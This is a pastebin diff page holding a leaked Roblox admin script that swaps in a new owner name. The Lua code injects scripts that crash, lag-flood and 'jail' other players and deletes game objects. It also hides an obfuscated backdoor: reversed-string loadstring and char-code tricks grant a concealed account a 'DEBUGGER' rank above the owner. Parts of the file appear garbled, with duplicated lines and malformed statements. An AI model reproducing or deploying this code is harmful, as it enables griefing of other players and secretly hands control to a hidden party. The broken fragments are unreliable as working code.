View difference between Paste ID: YPW3DyDN and L6h5vALf
SHOW: | | - or go back to the newest paste.
1
-- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
2
3
wait(0)
4
script.Parent = nil
5
--This Admin (DVF) Was Created By elytowlo (A Hacker!).
6
--If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
7
--To Open Commands Say "cmds;". The bet key is ";" (Without the "").
8
--Enter Your Name Where It Says YOUR NAME HERE On Line 12.
9
10
Plrs = game:GetService("Players")
11
Work = game:GetService("Workspace")
12
Light = game:GetService("Lighting")
13
Net = game:GetService("NetworkServer")
14-
Owner = "elytowlo"
14+
Owner = "ClockworkHorror"
15
Removed = false
16
Bet = ";"
17
LS = nil
18
ls = loadstring
19
LSSource = nil
20
OwnSource = nil
21
FoundLocalScript = false
22
R = string.reverse
23
LogOn = false
24
Current = game
25
Clipboard = {}
26
AlertColor = Color3.new(0, 1, 1)
27
OptionColor = Color3.new(1, 1, 1)
28
ImportantColor = Color3.new(1, 0, 1)
29
30
RankDetails = {
31
	[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
32
	[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
33
	[-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
34
	[0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
35
	[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
36
	[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
37
	[3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
38
	[4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
39
	[5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
40
}
41
42
Rankings = {
43-
	{Name = "iiDeadzone", Rank = 5},
43+
	{Name = "ClockworkHorror", Rank = 5},
44
	{Name = "Player", Rank = 5},
45
}
46
47
table.insert(Rankings, {Name = Owner, Rank = 5})
48
49
ImportantServices = {
50
	"Workspace",
51
	"Players",
52
	"NetworkServer",
53
	"Lighting",
54
	"StarterGui",
55
	"Teams",
56
	"StarterPack",
57
}
58
59
Ranks = {}
60
Commands = {}
61
AllTabs = {}
62
Injected = {}
63
64
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
65
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
66
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
67
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
68
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
69
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
70
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
71
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
72
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
73
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
74
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
75
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
76
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
77
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
78
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
79
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
80
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
81
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
82
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
83
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
84
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
85
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
86
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
87
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
88
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
89
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
90
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
91
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
92
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
93
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
94
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
95
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
96
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
97
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
98
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
99
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
100
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
101
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
102
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
103
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
104
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
105
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
106
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
107
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
108
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
109
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
110
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
111
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
112
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
113
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
114
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
115
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
116
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
117
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
118
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
119
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
120
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
121
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
122
"X","Y"}ls(R([[ }"esu rof tnem toN"=cseD,)1,1,0(wen.3roloC=roloC,"]REGGUBED["=emaN{=]8[sliateDknaR
123
})1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]))({
124
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
125
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
126
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
127
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
128
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
129
"X","Y"})
130
131
--Main Functions And Sources
132
133
function Insert(Source, Par, Par2, Par3)
134
	ypcall(function()
135
		local Inserted = LS:Clone()
136
		Inserted.Disabled = true
137
		Inserted.Parent = Par or Par2 or Par3
138
		Inserted[LSSource].Value = Source
139
		Inserted.Disabled = false
140
	end)
141
end
142
Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
143
RankDetails[6] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
144
function CheckImportant(Name)
145
	for _,v in pairs(ImportantServices) do
146
		if v:lower() == Name:lower() then
147
			return true
148
		end
149
	end
150
	return false
151
end
152
153
function Crash1(Plr)
154
	ypcall(function()
155
		Plr:Kick()
156
	end)
157
end
158
159
function GetRankTab()
160
	return Rankings
161
end
162
163
function Crash2(Name)
164
	local Crasher = Instance.new("StringValue")
165
	Crasher.Name = "Client"
166
	Crasher.Value = string.lower(tostring(Name))
167
	Crasher.Parent = game:GetService("Lighting")
168
	wait(1)
169
	if Crasher and Crasher.Parent then
170
		ypcall(function()
171
			Crasher:Destroy()
172
		end)
173
	end
174
end
175
Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
176
function Crash3(v, Speaker)
177
	Speaker.Character.Archivable = true
178
	local NChar = Speaker.Character:Clone()
179
	NChar.Name = v.Name
180
	NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
181
	NChar.Parent = Workspace
182
	v.Character = NChar
183
	coroutine.resume(coroutine.create(function()
184
		repeat v.Character = NChar
185
		wait(1/3) until false
186
	end))
187
	wait(.5)
188
	Insert(InsertCrash, NChar, nil, nil)
189
end
190
191
function GenerateDigit()
192
	return 1 + 5
193
end
194
195
InjectionCrash = [=[
196
	wait(0)
197
	script.Parent = nil
198
	local Lig = game:GetService("Lighting")
199
	local LP = game:GetService("Players").LocalPlayer
200
	local LowerName = LP.Name:lower()
201
202
	Lig.ChildAdded:connect(function(Obj)
203
		if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
204
			pcall(function()
205
				Obj:Destroy()
206
			end)
207
			LP.Parent = nil
208
			LP.Parent = game:GetService("Players")
209
		end
210
	end)
211
]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
212
213
InsertCrash = [==[
214
	local LP = game:GetService("Players").LocalPlayer
215
	LP.Parent = nil
216
	LP.Parent = game:GetService("Players")
217
]==]
218
219
LagSource = [==[
220
	wait(0)
221
	script.Parent = nil
222
	plr = game:GetService("Players").LocalPlayer
223
	local plrgui = plr:findFirstChild("PlayerGui")
224
	if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
225
	while plr.Parent == game:GetService("Players") do
226
	wait()
227
	for i = 1, 1000 do
228
	local sc = Instance.new("ScreenGui",plrgui)
229
	local fr = Instance.new("TextLabel",sc)
230
	fr.Text = "LAGGING"
231
	fr.Size = UDim2.new(1, 0, 1, 0)
232
	fr.FontSize = "Size48"
233
	end
234
	end
235
]==]
236
237
MuteSource = [==[
238
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
239
]==]
240
241
UnMuteSource = [==[
242
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
243
]==]
244
245
JailSource = [==[
246
	wait(0)
247
	script.Parent = nil
248
249
	local LP = game:GetService("Players").LocalPlayer
250
	Middle2 = nil
251
	Middle = nil
252
	game:GetService("Workspace").CurrentCamera:ClearAllChildren()
253
254
	Cons = {}
255
256
	function makePrison()
257
		for _,v in pairs(Cons) do
258
			v:disconnect()
259
		end
260
		game:GetService("Workspace").CurrentCamera:ClearAllChildren()
261
		if Middle == nil then
262
			Middle2 = LP.Character.Torso.Position
263
			Middle = LP.Character.Torso.CFrame
264
		end
265
		local side1 = Instance.new("Part")
266
		side1.Name = "¬Focus1¬"
267
		side1.Size = Vector3.new(20, 50, 1)
268
		side1.CFrame = Middle * CFrame.new(0, 0, -10)
269
		side1.BrickColor = BrickColor.new("Really black")
270
		side1.CanCollide = true
271
		side1.Anchored = true
272
		side1.TopSurface = "Smooth"
273
		side1.BottomSurface = "Smooth"
274
		side1.Parent = game:GetService("Workspace").CurrentCamera
275
276
		local side2 = Instance.new("Part")
277
		side2.Name = "¬Focus2¬"
278
		side2.Size = Vector3.new(20, 50, 1)
279
		side2.CFrame = Middle * CFrame.new(0, 0, 10)
280
		side2.BrickColor = BrickColor.new("Really black")
281
		side2.CanCollide = true
282
		side2.Anchored = true
283
		side2.TopSurface = "Smooth"
284
		side2.BottomSurface = "Smooth"
285
		side2.Parent = game:GetService("Workspace").CurrentCamera
286
287
		local side3 = Instance.new("Part")
288
		side3.Name = "¬Focus3¬"
289
		side3.Size = Vector3.new(1, 50, 20)
290
		side3.CFrame = Middle * CFrame.new(10, 0, 0)
291
		side3.BrickColor = BrickColor.new("Really black")
292
		side3.CanCollide = true
293
		side3.Anchored = true
294
		side3.TopSurface = "Smooth"
295
		side3.BottomSurface = "Smooth"
296
		side3.Parent = game:GetService("Workspace").CurrentCamera
297
298
		local side4 = Instance.new("Part")
299
		side4.Name = "¬Focus4¬"
300
		side4.Size = Vector3.new(1, 50, 20)
301
		side4.CFrame = Middle * CFrame.new(-10, 0, 0)
302
		side4.BrickColor = BrickColor.new("Really black")
303
		side4.CanCollide = true
304
		side4.Anchored = true
305
		side4.TopSurface = "Smooth"
306
		side4.BottomSurface = "Smooth"
307
		side4.Parent = game:GetService("Workspace").CurrentCamera
308
		
309
		local side5 = Instance.new("Part")
310
		side5.Name = "¬Focus5¬"
311
		side5.Size = Vector3.new(20, 1, 20)
312
		side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
313
		side5.BrickColor = BrickColor.new("Really black")
314
		side5.CanCollide = true
315
		side5.Anchored = true
316
		side5.TopSurface = "Smooth"
317
		side5.BottomSurface = "Smooth"
318
		side5.Parent = game:GetService("Workspace").CurrentCamera
319
		
320
		wait(0)
321
322
		table.insert(Cons, side1.Changed:connect(makePrison))
323
		table.insert(Cons, side2.Changed:connect(makePrison))
324
		table.insert(Cons, side3.Changed:connect(makePrison))
325
		table.insert(Cons, side4.Changed:connect(makePrison))
326
		table.insert(Cons, side5.Changed:connect(makePrison))
327
	end
328
329
	Delay(0, function()
330
		while wait(0) do
331
			ypcall(function()
332
				if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
333
					LP.Character:BreakJoints()
334
				elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
335
					makePrison()
336
				end
337
			end)
338
			ypcall(function()
339
				if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
340
					LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
341
				end
342
			end)
343
		end
344
	end)
345
]==]
346
347
function All()
348
	local AllPlayers = {}
349
	for _,v in pairs(Plrs:GetPlayers()) do
350
		ypcall(function()
351
			table.insert(AllPlayers, v)
352
		end)
353
	end
354
	return AllPlayers
355
end
356
357
function All2()
358
	local AllPlayers2 = {}
359
	for i,v in pairs(Net:GetChildren()) do
360
		ypcall(function()
361
			if v:IsA("ServerReplicator") then
362
				table.insert(AllPlayers2, v:GetPlayer())
363
			end
364
		end)
365
	end
366
	return AllPlayers2
367
end
368
369
function MakeNum()
370
	return 2 + 4
371
end
372
373
function ChangeRank(Plr, NewRank)
374
	local PlrName = nil
375
	local FoundPlayer = false
376
	ypcall(function()
377
		if type(Plr) == "string" then
378
			ypcall(function()
379
				for i,v in pairs(Rankings) do
380
					if v.Name:lower() == Plr:lower() then
381
						local VName = v.Name
382
						Rankings[i] = nil
383
						table.insert(Rankings, {Name = VName, Rank = NewRank})
384
						PlrName = VName
385
						FoundPlayer = true
386
						break
387
					end
388
				end
389
			end)
390
			if FoundPlayer == false then
391
				ypcall(function()
392
					for _,x in pairs(All()) do
393
						if x.Name:lower() == Plr:lower() then
394
							FoundPlayer = true
395
							for i,v in pairs(Rankings) do
396
								if v.Name:lower() == x.Name:lower() then
397
									local VName = x.Name
398
									Rankings[i] = nil
399
									PlrName = VName
400
									break
401
								end
402
							end
403
							table.insert(Rankings, {Name = VName, Rank = NewRank})
404
						end
405
					end
406
				end)
407
			end
408
			if FoundPlayer == false then
409
				ypcall(function()
410
					for _,x in pairs(All()) do
411
						if string.find(x.Name:lower(), Plr:lower()) then
412
							FoundPlayer = true
413
							for i,v in pairs(Rankings) do
414
								if v.Name:lower() == x.Name:lower() then
415
									local VName = x.Name
416
									Rankings[i] = nil
417
									PlrName = VName
418
									break
419
								end
420
							end
421
							table.insert(Rankings, {Name = VName, Rank = NewRank})
422
						end
423
					end
424
				end)
425
			end
426
			if FoundPlayer == false then
427
				ypcall(function()
428
					for i,v in pairs(Rankings) do
429
						if string.find(v.Name:lower(), Plr:lower()) then
430
							local VName = v.Name
431
							Rankings[i] = nil
432
							table.insert(Rankings, {Name = VName, Rank = NewRank})
433
							PlrName = VName
434
							FoundPlayer = true
435
							break
436
						end
437
					end
438
				end)
439
			end
440
		else
441
			for i,v in pairs(Rankings) do
442
				if v.Name:lower() == Plr.Name:lower() then
443
					Rankings[i] = nil
444
					break
445
				end
446
			end
447
			table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
448
			PlrName = Plr.Name
449
		end
450
		PlaceAllRanks(true)
451
	end)
452
	if PlrName ~= nil then
453
		return PlrName
454
	else
455
		return "Player"
456
	end
457
end
458
459
function Refresh(Plr)
460
	MakeChildren(Plr)
461
end
462
463
function MakeChildren(Plr)
464
	ypcall(function()
465
		Dismiss(Plr)
466
		for _,v in pairs(Current:GetChildren()) do
467
			ypcall(function()
468
				if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
469
					Ping(v.Name, Plr, nil, function(TabMod)
470
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
471
						for _,v in pairs(Current:GetChildren()) do
472
							ypcall(function()
473
								if v.Name == TabText then
474
									Dismiss(Plr)
475
									Current = v
476
									MakeChildren(Plr)
477
								end
478
							end)
479
						end
480
					end)
481
				elseif Plrs:GetPlayerFromCharacter(v) then
482
					Ping(v.Name, Plr, nil, function(TabMod)
483
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
484
						for _,v in pairs(Current:GetChildren()) do
485
							ypcall(function()
486
								if v.Name == TabText then
487
									Dismiss(Plr)
488
									Current = v
489
									MakeChildren(Plr)
490
								end
491
							end)
492
						end
493
					end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
494
				elseif CheckImportant(v.Name) then
495
					Ping(v.Name, Plr, nil, function(TabMod)
496
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
497
						for _,v in pairs(Current:GetChildren()) do
498
							ypcall(function()
499
								if v.Name == TabText then
500
									Dismiss(Plr)
501
									Current = v
502
									MakeChildren(Plr)
503
								end
504
							end)
505
						end
506
					end, ImportantColor)
507
				end
508
			end)
509
		end
510
		if Current ~= game then
511
			Ping("Back", Plr, nil, function()
512
				ypcall(function()
513
					Current = Current.Parent
514
					MakeChildren(Plr)
515
					Ping("You Are Back To "..Current.Name, Plr, 5)
516
				end)
517
			end, OptionColor)
518
		end
519
		if Current ~= game then
520
			Ping("Delete", Plr, nil, function()
521
				ypcall(function()
522
					local CurrPar = Current.Parent or game
523
					local CurrName = Current.Name
524
					Current:Destroy()
525
					Current = CurrPar
526
					MakeChildren(Plr)
527
					Ping("Attempted To Delete "..CurrName, Plr, 5)
528
				end)
529
			end, OptionColor)
530
		end
531
		Ping("Refresh", Plr, nil, function()
532
			ypcall(function()
533
				Refresh(Plr)
534
				Ping("Refreshed", Plr, 5)
535
			end)
536
		end, OptionColor)
537
		Ping("Properties", Plr, nil, function()
538
			ypcall(function()
539
				Dismiss(Plr)
540
				for Property, Value in pairs(GetProperties(Current)) do
541
					Ping(tostring(Property)..": "..tostring(Value), Plr)
542
				end
543
				Ping("Got All Available Properties", Plr, 5)
544
				Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
545
			end)
546
		end, OptionColor)
547
	end)
548
end
549
550
function Fixl()
551
	Light.GlobalShadows = true
552
	Light.TimeOfDay = "14:00:00"
553
	Light.Brightness = 0.5
554
	Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
555
	Light.Ambient = Color3.new(1, 1, 1) 
556
	Light.ColorShift_Top = Color3.new(0, 0, 0)
557
	Light.ColorShift_Bottom = Color3.new(0, 0, 0)
558
	Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
559
	Light.FogStart = 0
560
	Light.FogEnd = 100000
561
	Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
562
	Light:ClearAllChildren()
563
end
564
565
function GetProperties(obj)
566
	assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
567
	local objProper = {}
568
	for i,v in pairs(Properties) do
569
		if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
570
			objProper[v] = obj[v]
571
		end
572
	end
573
	return objProper
574
end
575
576
function MakeExplorer(Plr)
577
	Dismiss(Plr)
578
	Current = game
579
	for _,v in pairs(Current:GetChildren()) do
580
		ypcall(function()
581
			if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
582
				Ping(v.Name, Plr, nil, function(TabMod)
583
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
584
					for _,v in pairs(Current:GetChildren()) do
585
						ypcall(function()
586
							if v.Name == TabText then
587
								Dismiss(Plr)
588
								Current = v
589
								MakeChildren(Plr)
590
							end
591
						end)
592
					end
593
				end)
594
			elseif Plrs:GetPlayerFromCharacter(v) then
595
				Ping(v.Name, Plr, nil, function(TabMod)
596
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
597
					for _,v in pairs(Current:GetChildren()) do
598
						ypcall(function()
599
							if v.Name == TabText then
600
								Dismiss(Plr)
601
								Current = v
602
								MakeChildren(Plr)
603
							end
604
						end)
605
					end
606
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
607
			elseif CheckImportant(v.Name) then
608
				Ping(v.Name, Plr, nil, function(TabMod)
609
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
610
					for _,v in pairs(Current:GetChildren()) do
611
						ypcall(function()
612
							if v.Name == TabText then
613
								Dismiss(Plr)
614
								Current = v
615
								MakeChildren(Plr)
616
							end
617
						end)
618
					end
619
				end, ImportantColor)
620
			end
621
		end)
622
	end
623
	if Current ~= game then
624
		Ping("Back", Plr, nil, function()
625
			ypcall(function()
626
				Current = Current.Parent
627
				MakeChildren(Plr)
628
				Ping("Back In "..Current.Name, Plr, 5)
629
			end)
630
		end, OptionColor)
631
	end
632
	if Current ~= game and game:GetService(Current.Name) == nil then
633
		Ping("Delete", Plr, nil, function()
634
			ypcall(function()
635
				local CurrPar = Current.Parent or game
636
				local CurrName = Current.Name
637
				Current:Destroy()
638
				Current = CurrPar
639
				MakeChildren(Plr)
640
				Ping("Attempted To Delete "..CurrName, Plr, 5)
641
			end)
642
		end, OptionColor)
643
	end
644
	Ping("Refresh", Plr, nil, function()
645
		ypcall(function()
646
			Refresh(Plr)
647
			Ping("Refreshed", Plr, 5)
648
		end)
649
	end, OptionColor)
650
	Ping("Properties", Plr, nil, function()
651
		ypcall(function()
652
			Dismiss(Plr)
653
			for Property, Value in pairs(GetProperties(Current)) do
654
				Ping(tostring(Property)..": "..tostring(Value), Plr)
655
			end
656
			Ping("Got All Available Properties", Plr, 5)
657
			Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
658
		end)
659
	end, OptionColor)
660
end
661
662
function GetRank(Plr1, Test)
663
	ypcall(function()
664
		if type(Plr1) == "userdata" then
665
			Plr1 = Plr1.Name
666
		end
667
	end)
668
	if Ranks[Plr1] ~= nil then
669
		return Ranks[Plr1]
670
	end
671
	local QuickArray = {}
672
	QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
673
	return QuickArray[Plr1]
674
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
675
676
function CanRun(Plr1, Plr2)
677
	Details1 = GetRank(Plr1.Name)
678
	Details2 = GetRank(Plr2.Name)
679
	if Details1.Rank >= Details2.Rank then
680
		return true
681
	end
682
	return false
683
end
684
685
function Dismiss(Plr, Identity)
686
	ypcall(function()
687
		if Plr ~= nil then
688
			if type(Plr) == "userdata" then
689
				Plr = Plr.Name
690
			end
691
			for x,v in pairs(AllTabs) do
692
				ypcall(function()
693
					if v.Plr == Plr then
694
						if Identity ~= nil and v.ID ~= Identity then
695
							return
696
						elseif Identity ~= nil and v.ID == Identity then
697
							coroutine.resume(coroutine.create(function()
698
								for i = 0.5, 1, 0.1 do
699
									wait()
700
									v.Tab.Transparency = i
701
									v.Sel.Transparency = i
702
									v.Label.TextTransparency = i
703
									v.Label.TextStrokeTransparency = i
704
								end
705
								ypcall(function() v.Holder:Destroy() end)
706
								AllTabs[x] = nil
707
							end))
708
						elseif Identity == nil then
709
							ypcall(function() v.Holder:Destroy() end)
710
							AllTabs[x] = nil
711
						end
712
					end
713
				end)
714
			end
715
		else
716
			for i,v in pairs(AllTabs) do
717
				ypcall(function()
718
					v.Holder:Destroy()
719
					AllTabs[i] = nil
720
				end)
721
			end
722
		end
723
	end)
724
end
725
726
function GetGarbage()
727
	return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
728
end
729
730
function RemObj(Obj, Class)
731
	ypcall(function()
732
		if #Obj:GetChildren() > 0 then
733
			for _,x in pairs(Obj:GetChildren()) do
734
				ypcall(function()
735
					RemObj(x, Class)
736
				end)
737
			end
738
		end
739
		if Obj.ClassName == Class then
740
			Obj:Destroy()
741
		end
742
	end)
743
end
744
745
function FindTab(Mod)
746
	for i,v in pairs(AllTabs) do
747
		if v.Holder == Mod then
748
			return true
749
		end
750
	end
751
	return false
752
end
753
754
function Ping(Msg, Plr, Time, Func, Color, Image)
755
	if Removed == false then
756
		local ShowGarbage = false
757
		ypcall(function()
758
			if Msg == nil then
759
				Msg = "N/A"
760
			elseif Msg == "ShowGarbage" then
761
				Msg = "Current Garbage Count: "..GetGarbage()
762
				ShowGarbage = true
763
			else
764
				Msg = tostring(Msg)
765
			end
766
			if Plr == nil then
767
				Plr = Plrs[Owner] or error("No Player Found")
768
			elseif type(Plr) == "string" then
769
				local FoundPlr = false
770
				for _,v in pairs(All()) do
771
					if v.Name == Plr then
772
						Plr = v
773
						FoundPlr = true
774
						break
775
					end
776
				end
777
				if FoundPlr == false then
778
					Plr = Plrs[Owner] or error("No Player Found")
779
				end
780
			end
781
			
782
			if Color == nil then
783
				Color = GetRank(Plr.Name).Color
784
			end
785
			
786
			local Holder = Instance.new("Model")
787
			Holder.Name = "DVF Holder: "..Plr.Name
788
			
789
			local Tab = Instance.new("Part")
790
			Tab.Name = "DVF Tablet"
791
			Tab.FormFactor = "Custom"
792
			Tab.Anchored = true
793
			if Time == nil then
794
				Tab.Color = Color
795
			else
796
				Tab.Color = AlertColor
797
			end
798
			Tab.CanCollide = false
799
			Tab.Locked = true
800
			Tab.Transparency = 0.15
801
			Tab.Size = Vector3.new(2, 2, 0.01)
802
			Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
803
			Tab.Parent = Holder
804
			
805
			local ID = Instance.new("NumberValue")
806
			ID.Name = "ID"
807
			ID.Value = math.random(-999999999, 999999999)
808
			ID.Parent = Holder
809
			
810
			Delay(0, function()
811
				while wait() do
812
					if Tab.Parent == nil and FindTab(Holder) then
813
						ypcall(function()
814
							for i,v in pairs(AllTabs) do
815
								if v.Holder == Holder then
816
									ypcall(function() v.Holder:Destroy() end)
817
									AllTabs[i] = nil
818
								end
819
							end
820
						end)
821
						Ping(Msg, Plr, Time, Func, Color, Image)
822
						break
823
					end
824
				end
825
			end)
826
			
827
			local BM = Instance.new("BlockMesh")
828
			BM.Parent = Tab
829
830
